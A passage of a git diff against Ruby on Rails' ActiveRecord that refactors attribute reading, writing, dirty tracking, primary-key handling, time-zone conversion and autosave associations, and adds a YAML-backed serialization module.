+++ b/activerecord/lib/active_record/attribute_methods/dirty.rb
@@ -1,20 +1,23 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/blank'
+require 'active_support/core_ext/module/attribute_accessors'
 
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :partial_updates, instance_accessor: false
+    self.partial_updates = true
+  end
+
   module AttributeMethods
     module Dirty
       extend ActiveSupport::Concern
+
       include ActiveModel::Dirty
-      include AttributeMethods::Write
 
       included do
         if self < ::ActiveRecord::Timestamp
           raise "You cannot include Dirty after Timestamp"
         end
 
-        class_attribute :partial_updates
-        self.partial_updates = true
+        config_attribute :partial_updates
       end
 
       # Attempts to +save+ the record and clears changed attributes if successful.
@@ -22,8 +25,6 @@ module ActiveRecord
         if status = super
           @previously_changed = changes
           @changed_attributes.clear
-        elsif IdentityMap.enabled?
-          IdentityMap.remove(self)
         end
         status
       end
@@ -34,9 +35,6 @@ module ActiveRecord
           @previously_changed = changes
           @changed_attributes.clear
         end
-        rescue
-          IdentityMap.remove(self) if IdentityMap.enabled?
-          raise
       end
 
       # <tt>reload</tt> the record and clears changed attributes.
@@ -55,12 +53,10 @@ module ActiveRecord
         # The attribute already has an unsaved change.
         if attribute_changed?(attr)
           old = @changed_attributes[attr]
-          @changed_attributes.delete(attr) unless field_changed?(attr, old, value)
+          @changed_attributes.delete(attr) unless _field_changed?(attr, old, value)
         else
           old = clone_attribute_value(:read_attribute, attr)
-          # Save Time objects as TimeWithZone if time_zone_aware_attributes == true
-          old = old.in_time_zone if clone_with_time_zone_conversion_attribute?(attr, old)
-          @changed_attributes[attr] = old if field_changed?(attr, old, value)
+          @changed_attributes[attr] = old if _field_changed?(attr, old, value)
         end
 
         # Carry on.
@@ -77,13 +73,10 @@ module ActiveRecord
         end
       end
 
-      def field_changed?(attr, old, value)
+      def _field_changed?(attr, old, value)
         if column = column_for_attribute(attr)
-          if column.number? && column.null && (old.nil? || old == 0) && value.blank?
-            # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
-            # Hence we don't record it as a change if the value changes from nil to ''.
-            # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
-            # be typecast back to 0 (''.to_i => 0)
+          if column.number? && (changes_from_nil_to_empty_string?(column, old, value) ||
+                                changes_from_zero_to_string?(old, value))
             value = nil
           else
             value = column.type_cast(value)
@@ -93,8 +86,17 @@ module ActiveRecord
         old != value
       end
 
-      def clone_with_time_zone_conversion_attribute?(attr, old)
-        old.class.name == "Time" && time_zone_aware_attributes && !self.skip_time_zone_conversion_for_attributes.include?(attr.to_sym)
+      def changes_from_nil_to_empty_string?(column, old, value)
+        # For nullable numeric columns, NULL gets stored in database for blank (i.e. '') values.
+        # Hence we don't record it as a change if the value changes from nil to ''.
+        # If an old value of 0 is set to '' we want this to get changed to nil as otherwise it'll
+        # be typecast back to 0 (''.to_i => 0)
+        column.null && (old.nil? || old == 0) && value.blank?
+      end
+
+      def changes_from_zero_to_string?(old, value)
+        # For columns with old 0 and value non-empty string
+        old == 0 && value.is_a?(String) && value.present? && value != '0'
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/primary_key.rb b/activerecord/lib/active_record/attribute_methods/primary_key.rb
index a404a5edd7..7b7811a706 100644
--- a/activerecord/lib/active_record/attribute_methods/primary_key.rb
+++ b/activerecord/lib/active_record/attribute_methods/primary_key.rb
@@ -1,3 +1,5 @@
+require 'set'
+
 module ActiveRecord
   module AttributeMethods
     module PrimaryKey
@@ -5,15 +7,57 @@ module ActiveRecord
 
       # Returns this record's primary key value wrapped in an Array if one is available
       def to_key
-        key = send(self.class.primary_key)
+        key = self.id
         [key] if key
       end
 
+      # Returns the primary key value
+      def id
+        read_attribute(self.class.primary_key)
+      end
+
+      # Sets the primary key value
+      def id=(value)
+        write_attribute(self.class.primary_key, value)
+      end
+
+      # Queries the primary key value
+      def id?
+        query_attribute(self.class.primary_key)
+      end
+
+      # Returns the primary key value before type cast
+      def id_before_type_cast
+        read_attribute_before_type_cast(self.class.primary_key)
+      end
+
+      protected
+
+      def attribute_method?(attr_name)
+        attr_name == 'id' || super
+      end
+
       module ClassMethods
+        def define_method_attribute(attr_name)
+          super
+
+          if attr_name == primary_key && attr_name != 'id'
+            generated_attribute_methods.send(:alias_method, :id, primary_key)
+          end
+        end
+
+        ID_ATTRIBUTE_METHODS = %w(id id= id? id_before_type_cast).to_set
+
+        def dangerous_attribute_method?(method_name)
+          super && !ID_ATTRIBUTE_METHODS.include?(method_name)
+        end
+
         # Defines the primary key field -- can be overridden in subclasses. Overwriting will negate any effect of the
-        # primary_key_prefix_type setting, though.
+        # primary_key_prefix_type setting, though. Since primary keys are usually protected from mass assignment,
+        # remember to let your database generate them or include the key in +attr_accessible+.
         def primary_key
-          @primary_key ||= reset_primary_key
+          @primary_key = reset_primary_key unless defined? @primary_key
+          @primary_key
         end
 
         # Returns a quoted version of the primary key name, used to construct SQL statements.
@@ -22,11 +66,11 @@ module ActiveRecord
         end
 
         def reset_primary_key #:nodoc:
-          key = self == base_class ? get_primary_key(base_class.name) :
-            base_class.primary_key
-
-          set_primary_key(key)
-          key
+          if self == base_class
+            self.primary_key = get_primary_key(base_class.name)
+          else
+            self.primary_key = base_class.primary_key
+          end
         end
 
         def get_primary_key(base_name) #:nodoc:
@@ -38,35 +82,31 @@ module ActiveRecord
           when :table_name_with_underscore
             base_name.foreign_key
           else
-            if ActiveRecord::Base != self && connection.table_exists?(table_name)
-              connection.primary_key(table_name)
+            if ActiveRecord::Base != self && table_exists?
+              connection.schema_cache.primary_keys[table_name]
             else
               'id'
             end
           end
         end
 
-        attr_accessor :original_primary_key
-
-        # Attribute writer for the primary key column
-        def primary_key=(value)
-          @quoted_primary_key = nil
-          @primary_key = value
-        end
-
-        # Sets the name of the primary key column to use to the given value,
-        # or (if the value is nil or false) to the value returned by the given
-        # block.
+        # Sets the name of the primary key column.
+        #
+        #   class Project < ActiveRecord::Base
+        #     self.primary_key = "sysid"
+        #   end
+        #
+        # You can also define the primary_key method yourself:
         #
         #   class Project < ActiveRecord::Base
-        #     set_primary_key "sysid"
+        #     def self.primary_key
+        #       "foo_" + super
+        #     end
         #   end
-        def set_primary_key(value = nil, &block)
+        #   Project.primary_key # => "foo_id"
+        def primary_key=(value)
+          @primary_key        = value && value.to_s
           @quoted_primary_key = nil
-          @primary_key ||= ''
-          self.original_primary_key = @primary_key
-          value &&= value.to_s
-          self.primary_key = block_given? ? instance_eval(&block) : value
         end
       end
     end
diff --git a/activerecord/lib/active_record/attribute_methods/query.rb b/activerecord/lib/active_record/attribute_methods/query.rb
index 948809c65a..a8b23abb7c 100644
--- a/activerecord/lib/active_record/attribute_methods/query.rb
+++ b/activerecord/lib/active_record/attribute_methods/query.rb
@@ -1,4 +1,3 @@
-require 'active_support/core_ext/object/blank'
 
 module ActiveRecord
   module AttributeMethods
@@ -10,8 +9,11 @@ module ActiveRecord
       end
 
       def query_attribute(attr_name)
-        unless value = read_attribute(attr_name)
-          false
+        value = read_attribute(attr_name)
+
+        case value
+        when true        then true
+        when false, nil  then false
         else
           column = self.class.columns_hash[attr_name]
           if column.nil?
diff --git a/activerecord/lib/active_record/attribute_methods/read.rb b/activerecord/lib/active_record/attribute_methods/read.rb
index 4174e4da09..a7af086e43 100644
--- a/activerecord/lib/active_record/attribute_methods/read.rb
+++ b/activerecord/lib/active_record/attribute_methods/read.rb
@@ -1,16 +1,17 @@
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :attribute_types_cached_by_default, instance_accessor: false
+  end
+
   module AttributeMethods
     module Read
       extend ActiveSupport::Concern
 
       ATTRIBUTE_TYPES_CACHED_BY_DEFAULT = [:datetime, :timestamp, :time, :date]
+      ActiveRecord::Model.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
 
       included do
-        cattr_accessor :attribute_types_cached_by_default, :instance_writer => false
-        self.attribute_types_cached_by_default = ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
-
-        # Undefine id so it can be used as an attribute name
-        undef_method(:id) if method_defined?(:id)
+        config_attribute :attribute_types_cached_by_default
       end
 
       module ClassMethods
@@ -33,112 +34,66 @@ module ActiveRecord
         end
 
         protected
-          def define_method_attribute(attr_name)
-            if serialized_attributes.include?(attr_name)
-              define_read_method_for_serialized_attribute(attr_name)
-            else
-              define_read_method(attr_name, attr_name, columns_hash[attr_name])
-            end
 
-            if attr_name == primary_key && attr_name != "id"
-              define_read_method('id', attr_name, columns_hash[attr_name])
+        # We want to generate the methods via module_eval rather than define_method,
+        # because define_method is slower on dispatch and uses more memory (because it
+        # creates a closure).
+        #
+        # But sometimes the database might return columns with characters that are not
+        # allowed in normal method names (like 'my_column(omg)'. So to work around this
+        # we first define with the __temp__ identifier, and then use alias method to
+        # rename it to what we want.
+        def define_method_attribute(attr_name)
+          generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__ + 1
+            def __temp__
+              read_attribute('#{attr_name}') { |n| missing_attribute(n, caller) }
             end
-          end
+            alias_method '#{attr_name}', :__temp__
+            undef_method :__temp__
+          STR
+        end
 
         private
-          def cacheable_column?(column)
-            serialized_attributes.include?(column.name) || attribute_types_cached_by_default.include?(column.type)
-          end
-
-          # Define read method for serialized attribute.
-          def define_read_method_for_serialized_attribute(attr_name)
-            access_code = "@attributes_cache['#{attr_name}'] ||= @attributes['#{attr_name}']"
-            generated_attribute_methods.module_eval("def _#{attr_name}; #{access_code}; end; alias #{attr_name} _#{attr_name}", __FILE__, __LINE__)
-          end
-
-          # Define an attribute reader method. Cope with nil column.
-          # method_name is the same as attr_name except when a non-standard primary key is used,
-          # we still define #id as an accessor for the key
-          def define_read_method(method_name, attr_name, column)
-            cast_code = column.type_cast_code('v')
-            access_code = "(v=@attributes['#{attr_name}']) && #{cast_code}"
-
-            unless attr_name.to_s == self.primary_key.to_s
-              access_code.insert(0, "missing_attribute('#{attr_name}', caller) unless @attributes.has_key?('#{attr_name}'); ")
-            end
 
-            if cache_attribute?(attr_name)
-              access_code = "@attributes_cache['#{attr_name}'] ||= (#{access_code})"
-            end
-
-            # Where possible, generate the method by evalling a string, as this will result in
-            # faster accesses because it avoids the block eval and then string eval incurred
-            # by the second branch.
-            #
-            # The second, slower, branch is necessary to support instances where the database
-            # returns columns with extra stuff in (like 'my_column(omg)').
-            if method_name =~ ActiveModel::AttributeMethods::COMPILABLE_REGEXP
-              generated_attribute_methods.module_eval <<-STR, __FILE__, __LINE__
-                def _#{method_name}
-                  #{access_code}
-                end
-
-                alias #{method_name} _#{method_name}
-              STR
-            else
-              generated_attribute_methods.module_eval do
-                define_method("_#{method_name}") { eval(access_code) }
-                alias_method(method_name, "_#{method_name}")
-              end
-            end
+        def cacheable_column?(column)
+          if attribute_types_cached_by_default == ATTRIBUTE_TYPES_CACHED_BY_DEFAULT
+            ! serialized_attributes.include? column.name
+          else
+            attribute_types_cached_by_default.include?(column.type)
           end
+        end
       end
 
       # Returns the value of the attribute identified by <tt>attr_name</tt> after it has been typecast (for example,
       # "2004-12-12" in a data column is cast to a date object, like Date.new(2004, 12, 12)).
       def read_attribute(attr_name)
-        method = "_#{attr_name}"
-        if respond_to? method
-          send method if @attributes.has_key?(attr_name.to_s)
-        else
-          _read_attribute attr_name
-        end
-      end
+        # If it's cached, just return it
+        @attributes_cache.fetch(attr_name.to_s) { |name|
+          column = @columns_hash.fetch(name) {
+            return @attributes.fetch(name) {
+              if name == 'id' && self.class.primary_key != name
+                read_attribute(self.class.primary_key)
+              end
+            }
+          }
 
-      def _read_attribute(attr_name)
-        attr_name = attr_name.to_s
-        attr_name = self.class.primary_key if attr_name == 'id'
-        value = @attributes[attr_name]
-        unless value.nil?
-          if column = column_for_attribute(attr_name)
-            if unserializable_attribute?(attr_name, column)
-              unserialize_attribute(attr_name)
-            else
-              column.type_cast(value)
-            end
+          value = @attributes.fetch(name) {
+            return block_given? ? yield(name) : nil
+          }
+
+          if self.class.cache_attribute?(name)
+            @attributes_cache[name] = column.type_cast(value)
           else
-            value
+            column.type_cast value
           end
-        end
-      end
-
-      # Returns true if the attribute is of a text column and marked for serialization.
-      def unserializable_attribute?(attr_name, column)
-        column.text? && self.class.serialized_attributes.include?(attr_name)
+        }
       end
 
-      # Returns the unserialized object of the attribute.
-      def unserialize_attribute(attr_name)
-        coder = self.class.serialized_attributes[attr_name]
-        unserialized_object = coder.load(@attributes[attr_name])
+      private
 
-        @attributes.frozen? ? unserialized_object : @attributes[attr_name] = unserialized_object
+      def attribute(attribute_name)
+        read_attribute(attribute_name)
       end
-
-      private
-        def attribute(attribute_name)
-          read_attribute(attribute_name)
-        end
     end
   end
 end
diff --git a/activerecord/lib/active_record/attribute_methods/serialization.rb b/activerecord/lib/active_record/attribute_methods/serialization.rb
new file mode 100644
index 0000000000..bdda5bc009
--- /dev/null
+++ b/activerecord/lib/active_record/attribute_methods/serialization.rb
@@ -0,0 +1,131 @@
+module ActiveRecord
+  module AttributeMethods
+    module Serialization
+      extend ActiveSupport::Concern
+
+      included do
+        # Returns a hash of all the attributes that have been specified for serialization as
+        # keys and their class restriction as values.
+        class_attribute :serialized_attributes, instance_accessor: false
+        self.serialized_attributes = {}
+      end
+
+      module ClassMethods
+        # If you have an attribute that needs to be saved to the database as an object, and retrieved as the same object,
+        # then specify the name of that attribute using this method and it will be handled automatically.
+        # The serialization is done through YAML. If +class_name+ is specified, the serialized object must be of that
+        # class on retrieval or SerializationTypeMismatch will be raised.
+        #
+        # ==== Parameters
+        #
+        # * +attr_name+ - The field name that should be serialized.
+        # * +class_name+ - Optional, class name that the object type should be equal to.
+        #
+        # ==== Example
+        #   # Serialize a preferences attribute
+        #   class User < ActiveRecord::Base
+        #     serialize :preferences
+        #   end
+        def serialize(attr_name, class_name = Object)
+          include Behavior
+
+          coder = if [:load, :dump].all? { |x| class_name.respond_to?(x) }
+                    class_name
+                  else
+                    Coders::YAMLColumn.new(class_name)
+                  end
+
+          # merge new serialized attribute and create new hash to ensure that each class in inheritance hierarchy
+          # has its own hash of own serialized attributes
+          self.serialized_attributes = serialized_attributes.merge(attr_name.to_s => coder)
+        end
+      end
+
+      def serialized_attributes
+        ActiveSupport::Deprecation.warn("Instance level serialized_attributes method is deprecated, please use class level method.")
+        defined?(@serialized_attributes) ? @serialized_attributes : self.class.serialized_attributes
+      end
+
+      class Type # :nodoc:
+        def initialize(column)
+          @column = column
+        end
+
+        def type_cast(value)
+          value.unserialized_value
+        end
+
+        def type
+          @column.type
+        end
+      end
+
+      class Attribute < Struct.new(:coder, :value, :state)
+        def unserialized_value
+          state == :serialized ? unserialize : value
+        end
+
+        def serialized_value
+          state == :unserialized ? serialize : value
+        end
+
+        def unserialize
+          self.state = :unserialized
+          self.value = coder.load(value)
+        end
+
+        def serialize
+          self.state = :serialized
+          self.value = coder.dump(value)
+        end
+      end
+
+      # This is only added to the model when serialize is called, which
+      # ensures we do not make things slower when serialization is not used.
+      module Behavior #:nodoc:
+        extend ActiveSupport::Concern
+
+        module ClassMethods
+          def initialize_attributes(attributes, options = {})
+            serialized = (options.delete(:serialized) { true }) ? :serialized : :unserialized
+            super(attributes, options)
+
+            serialized_attributes.each do |key, coder|
+              if attributes.key?(key)
+                attributes[key] = Attribute.new(coder, attributes[key], serialized)
+              end
+            end
+
+            attributes
+          end
+
+          private
+
+          def attribute_cast_code(attr_name)
+            if serialized_attributes.include?(attr_name)
+              "v.unserialized_value"
+            else
+              super
+            end
+          end
+        end
+
+        def type_cast_attribute_for_write(column, value)
+          if column && coder = self.class.serialized_attributes[column.name]
+            Attribute.new(coder, value, :unserialized)
+          else
+            super
+          end
+        end
+
+        def read_attribute_before_type_cast(attr_name)
+          if self.class.serialized_attributes.include?(attr_name)
+            super.unserialized_value
+          else
+            super
+          end
+        end
+      end
+    end
+  end
+end
diff --git a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
index 62a3cfa9a5..d1e9d2de0e 100644
--- a/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
+++ b/activerecord/lib/active_record/attribute_methods/time_zone_conversion.rb
@@ -1,66 +1,92 @@
-require 'active_support/core_ext/class/attribute'
-require 'active_support/core_ext/object/inclusion'
 
 module ActiveRecord
+  ActiveSupport.on_load(:active_record_config) do
+    mattr_accessor :time_zone_aware_attributes, instance_accessor: false
+    self.time_zone_aware_attributes = false
+
+    mattr_accessor :skip_time_zone_conversion_for_attributes, instance_accessor: false
+    self.skip_time_zone_conversion_for_attributes = []
+  end
+
   module AttributeMethods
     module TimeZoneConversion
+      class Type # :nodoc:
+        def initialize(column)
+          @column = column
+        end
+
+        def type_cast(value)
+          value = @column.type_cast(value)
+          value.acts_like?(:time) ? value.in_time_zone : value
+        end
+
+        def type
+          @column.type
+        end
+      end
+
       extend ActiveSupport::Concern
 
       included do
-        cattr_accessor :time_zone_aware_attributes, :instance_writer => false
-        self.time_zone_aware_attributes = false
-
-        class_attribute :skip_time_zone_conversion_for_attributes, :instance_writer => false
-        self.skip_time_zone_conversion_for_attributes = []
+        config_attribute :time_zone_aware_attributes, global: true
+        config_attribute :skip_time_zone_conversion_for_attributes
       end
 
       module ClassMethods
         protected
-          # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
-          # This enhanced read method automatically converts the UTC time stored in the database to the time
-          # zone stored in Time.zone.
-          def define_method_attribute(attr_name)
-            if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
-              method_body, line = <<-EOV, __LINE__ + 1
-                def _#{attr_name}
-                  cached = @attributes_cache['#{attr_name}']
-                  return cached if cached
-                  time = _read_attribute('#{attr_name}')
-                  @attributes_cache['#{attr_name}'] = time.acts_like?(:time) ? time.in_time_zone : time
-                end
-                alias #{attr_name} _#{attr_name}
-              EOV
-              generated_attribute_methods.module_eval(method_body, __FILE__, line)
-            else
-              super
-            end
+        # The enhanced read method automatically converts the UTC time stored in the database to the time
+        # zone stored in Time.zone.
+        def attribute_cast_code(attr_name)
+          column = columns_hash[attr_name]
+
+          if create_time_zone_conversion_attribute?(attr_name, column)
+            typecast             = "v = #{super}"
+            time_zone_conversion = "v.acts_like?(:time) ? v.in_time_zone : v"
+
+            "((#{typecast}) && (#{time_zone_conversion}))"
+          else
+            super
           end
+        end
 
-          # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
-          # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
-          def define_method_attribute=(attr_name)
-            if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
-              method_body, line = <<-EOV, __LINE__ + 1
-                def #{attr_name}=(original_time)
-                  time = original_time
-                  unless time.acts_like?(:time)
-                    time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
-                  end
-                  time = time.in_time_zone rescue nil if time
-                  write_attribute(:#{attr_name}, original_time)
-                  @attributes_cache["#{attr_name}"] = time
+        # Defined for all +datetime+ and +timestamp+ attributes when +time_zone_aware_attributes+ are enabled.
+        # This enhanced write method will automatically convert the time passed to it to the zone stored in Time.zone.
+        def define_method_attribute=(attr_name)
+          if create_time_zone_conversion_attribute?(attr_name, columns_hash[attr_name])
+            method_body, line = <<-EOV, __LINE__ + 1
+              def #{attr_name}=(original_time)
+                time = original_time
+                unless time.acts_like?(:time)
+                  time = time.is_a?(String) ? Time.zone.parse(time) : time.to_time rescue time
+                end
+                zoned_time   = time && time.in_time_zone rescue nil
+                rounded_time = round_usec(zoned_time)
+                rounded_value = round_usec(read_attribute("#{attr_name}"))
+                if (rounded_value != rounded_time) || (!rounded_value && original_time)
+                  write_attribute("#{attr_name}", original_time)
+                  #{attr_name}_will_change!
+                  @attributes_cache["#{attr_name}"] = zoned_time
                 end
-              EOV
-              generated_attribute_methods.module_eval(method_body, __FILE__, line)
-            else
-              super
-            end
+              end
+            EOV
+            generated_attribute_methods.module_eval(method_body, __FILE__, line)
+          else
+            super
           end
+        end
 
         private
-          def create_time_zone_conversion_attribute?(name, column)
-            time_zone_aware_attributes && !self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) && column.type.in?([:datetime, :timestamp])
-          end
+        def create_time_zone_conversion_attribute?(name, column)
+          time_zone_aware_attributes &&
+            !self.skip_time_zone_conversion_for_attributes.include?(name.to_sym) &&
+            [:datetime, :timestamp].include?(column.type)
+        end
+      end
+
+      private
+      def round_usec(value)
+        return unless value
+        value.change(:usec => 0)
       end
     end
   end
diff --git a/activerecord/lib/active_record/attribute_methods/write.rb b/activerecord/lib/active_record/attribute_methods/write.rb
index e9cdb130db..50435921b1 100644
--- a/activerecord/lib/active_record/attribute_methods/write.rb
+++ b/activerecord/lib/active_record/attribute_methods/write.rb
@@ -10,17 +10,13 @@ module ActiveRecord
       module ClassMethods
         protected
           def define_method_attribute=(attr_name)
-            if attr_name =~ ActiveModel::AttributeMethods::COMPILABLE_REGEXP
+            if attr_name =~ ActiveModel::AttributeMethods::NAME_COMPILABLE_REGEXP
               generated_attribute_methods.module_eval("def #{attr_name}=(new_value); write_attribute('#{attr_name}', new_value); end", __FILE__, __LINE__)
             else
               generated_attribute_methods.send(:define_method, "#{attr_name}=") do |new_value|
                 write_attribute(attr_name, new_value)
               end
             end
-
-            if attr_name == primary_key && attr_name != "id"
-              generated_attribute_methods.module_eval("alias :id= :'#{primary_key}='")
-            end
           end
       end
 
@@ -32,10 +28,14 @@ module ActiveRecord
         @attributes_cache.delete(attr_name)
         column = column_for_attribute(attr_name)
 
-        if column && column.number?
-          @attributes[attr_name] = convert_number_column_value(value)
-        elsif column || @attributes.has_key?(attr_name)
-          @attributes[attr_name] = value
+        # If we're dealing with a binary column, write the data to the cache
+        # so we don't attempt to typecast multiple times.
+        if column && column.binary?
+          @attributes_cache[attr_name] = value
+        end
+
+        if column || @attributes.has_key?(attr_name)
+          @attributes[attr_name] = type_cast_attribute_for_write(column, value)
         else
           raise ActiveModel::MissingAttributeError, "can't write unknown attribute `#{attr_name}'"
         end
@@ -43,10 +43,16 @@ module ActiveRecord
       alias_method :raw_write_attribute, :write_attribute
 
       private
-        # Handle *= for method_missing.
-        def attribute=(attribute_name, value)
-          write_attribute(attribute_name, value)
-        end
+      # Handle *= for method_missing.
+      def attribute=(attribute_name, value)
+        write_attribute(attribute_name, value)
+      end
+
+      def type_cast_attribute_for_write(column, value)
+        return value unless column
+
+        column.type_cast_for_write value
+      end
     end
   end
 end
diff --git a/activerecord/lib/active_record/autosave_association.rb b/activerecord/lib/active_record/autosave_association.rb
index 056170d82a..290f57659d 100644
--- a/activerecord/lib/active_record/autosave_association.rb
+++ b/activerecord/lib/active_record/autosave_association.rb
@@ -1,5 +1,3 @@
-require 'active_support/core_ext/array/wrap'
-
 module ActiveRecord
   # = Active Record Autosave Association
   #
@@ -21,6 +19,21 @@ module ActiveRecord
   # Note that <tt>:autosave => false</tt> is not same as not declaring <tt>:autosave</tt>.
   # When the <tt>:autosave</tt> option is not present new associations are saved.
   #
+  # == Validation
+  #
+  # Children records are validated unless <tt>:validate</tt> is +false+.
+  #
+  # == Callbacks
+  #
+  # Association with autosave option defines several callbacks on your
+  # model (before_save, after_create, after_update). Please note that
+  # callbacks are executed in the order they were defined in
+  # model. You should avoid modifying the association content, before
+  # autosave callbacks are executed. Placing your callbacks after
+  # associations is usually a good practice.
+  #
+  # == Examples
+  #
   # === One-to-one Example
   #
   #   class Post
@@ -65,7 +78,7 @@ module ActiveRecord
   # When <tt>:autosave</tt> is not declared new children are saved when their parent is saved:
   #
   #   class Post
-  #     has_many :comments # :autosave option is no declared
+  #     has_many :comments # :autosave option is not declared
   #   end
   #
   #   post = Post.new(:title => 'ruby rocks')
@@ -80,7 +93,8 @@ module ActiveRecord
   #   post.comments.create(:body => 'hello world')
   #   post.save # => saves both post and comment
   #
-  # When <tt>:autosave</tt> is true all children is saved, no matter whether they are new records:
+  # When <tt>:autosave</tt> is true all children are saved, no matter whether they
+  # are new records or not:
   #
   #   class Post
   #     has_many :comments, :autosave => true
@@ -109,30 +123,21 @@ module ActiveRecord
   # Now it _is_ removed from the database:
   #
   #   Comment.find_by_id(id).nil? # => true
-  #
-  # === Validation
-  #
-  # Children records are validated unless <tt>:validate</tt> is +false+.
+
   module AutosaveAssociation
     extend ActiveSupport::Concern
 
-    ASSOCIATION_TYPES = %w{ HasOne HasMany BelongsTo HasAndBelongsToMany }
-
     module AssociationBuilderExtension #:nodoc:
-      def self.included(base)
-        base.valid_options << :autosave
-      end
-
       def build
-        reflection = super
         model.send(:add_autosave_association_callbacks, reflection)
-        reflection
+        super
       end
     end
 
     included do
-      ASSOCIATION_TYPES.each do |type|
-        Associations::Builder.const_get(type).send(:include, AssociationBuilderExtension)
+      Associations::Builder::Association.class_eval do
+        self.valid_options << :autosave
+        include AssociationBuilderExtension
       end
     end
 
@@ -180,23 +185,21 @@ module ActiveRecord
             # Doesn't use after_save as that would save associations added in after_create/after_update twice
             after_create save_method
             after_update save_method
+          elsif reflection.macro == :has_one
+            define_method(save_method) { save_has_one_association(reflection) }
+            # Configures two callbacks instead of a single after_save so that
+            # the model may rely on their execution order relative to its
+            # own callbacks.
+            #
+            # For example, given that after_creates run before after_saves, if
+            # we configured instead an after_save there would be no way to fire
+            # a custom after_create callback after the child association gets
+            # created.
+            after_create save_method
+            after_update save_method
           else
-            if reflection.macro == :has_one
-              define_method(save_method) { save_has_one_association(reflection) }
-              # Configures two callbacks instead of a single after_save so that
-              # the model may rely on their execution order relative to its
-              # own callbacks.
-              #
-              # For example, given that after_creates run before after_saves, if
-              # we configured instead an after_save there would be no way to fire
-              # a custom after_create callback after the child association gets
-              # created.
-              after_create save_method
-              after_update save_method
-            else
-              define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
-              before_save save_method
-            end
+            define_non_cyclic_method(save_method, reflection) { save_belongs_to_association(reflection) }
+            before_save save_method
           end
         end
 
@@ -264,7 +267,7 @@ module ActiveRecord
     # turned on for the association.
     def validate_single_association(reflection)
       association = association_instance_get(reflection.name)
-      record      = association && association.target
+      record      = association && association.reader
       association_valid?(reflection, record) if record
     end
 
@@ -285,7 +288,7 @@ module ActiveRecord
     def association_valid?(reflection, record)
       return true if record.destroyed? || record.marked_for_destruction?
 
-      unless valid = record.valid?
+      unless valid = record.valid?(validation_context)
         if reflection.options[:autosave]
           record.errors.each do |attribute, message|
             attribute = "#{reflection.name}.#{attribute}"
@@ -319,19 +322,19 @@ module ActiveRecord
         autosave = reflection.options[:autosave]
 
         if records = associated_records_to_validate_or_save(association, @new_record_before_save, autosave)
-          begin
+          records_to_destroy = []
           records.each do |record|
             next if record.destroyed?
 
             saved = true
 
             if autosave && record.marked_for_destruction?
-              association.proxy.destroy(record)
+              records_to_destroy << record
             elsif autosave != false && (@new_record_before_save || record.new_record?)
               if autosave
                 saved = association.insert_record(record, false)
               else
-                association.insert_record(record)
+                association.insert_record(record) unless reflection.nested?
               end
             elsif autosave
               saved = record.save(:validate => false)
@@ -339,11 +342,10 @@ module ActiveRecord
 
             raise ActiveRecord::Rollback unless saved
           end
-          rescue
-            records.each {|x| IdentityMap.remove(x) } if IdentityMap.enabled?
-            raise
-          end
 
+          records_to_destroy.each do |record|
+            association.destroy(record)
+          end
         end
 
         # reconstruct the scope now that we know the owner's id
diff --git a/activerecord/lib/active_record/base.rb b/activerecord/lib/active_record/base.rb
index 3558ae3545..a4705b24ca 100644
--- a/activerecord/lib/active_record/base.rb
+++ b/activerecord/lib/active_record/base.rb
@@ -1,31 +1,23 @@
-begin
-  require 'psych'
-rescue LoadError
-end
-
 require 'yaml'
 require 'set'
 require 'active_support/benchmarkable'
 require 'active_support/dependencies'
 require 'active_support/descendants_tracker'
 require 'active_support/time'
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/class/attribute_accessors'
 require 'active_support/core_ext/class/delegating_attributes'
-require 'active_support/core_ext/class/attribute'
 require 'active_support/core_ext/array/extract_options'
 require 'active_support/core_ext/hash/deep_merge'
 require 'active_support/core_ext/hash/indifferent_access'
 require 'active_support/core_ext/hash/slice'
 require 'active_support/core_ext/string/behavior'
 require 'active_support/core_ext/kernel/singleton_class'
-require 'active_support/core_ext/module/delegation'
 require 'active_support/core_ext/module/introspection'
 require 'active_support/core_ext/object/duplicable'
-require 'active_support/core_ext/object/blank'
 require 'arel'
 require 'active_record/errors'
 require 'active_record/log_subscriber'
+require 'active_record/explain_subscriber'
 
 module ActiveRecord #:nodoc:
   # = Active Record
@@ -205,6 +197,9 @@ module ActiveRecord #:nodoc:
   #   # Now 'Bob' exist and is an 'admin'
   #   User.find_or_create_by_name('Bob', :age => 40) { |u| u.admin = true }
   #
+  # Adding an exclamation point (!) on to the end of <tt>find_or_create_by_</tt> will
+  # raise an <tt>ActiveRecord::RecordInvalid</tt> error if the new record is invalid.
+  #
   # Use the <tt>find_or_initialize_by_</tt> finder if you want to return a new record without
   # saving it first. Protected attributes won't be set unless they are given in a block.
   #
@@ -305,1865 +300,29 @@ module ActiveRecord #:nodoc:
   #   (or a bad spelling of an existing one).
   # * AssociationTypeMismatch - The object assigned to the association wasn't of the type
   #   specified in the association definition.
-  # * SerializationTypeMismatch - The serialized object wasn't of the class specified as the second parameter.
-  # * ConnectionNotEstablished+ - No connection has been established. Use <tt>establish_connection</tt>
+  # * AttributeAssignmentError - An error occurred while doing a mass assignment through the
+  #   <tt>attributes=</tt> method.
+  #   You can inspect the +attribute+ property of the exception object to determine which attribute
+  #   triggered the error.
+  # * ConnectionNotEstablished - No connection has been established. Use <tt>establish_connection</tt>
   #   before querying.
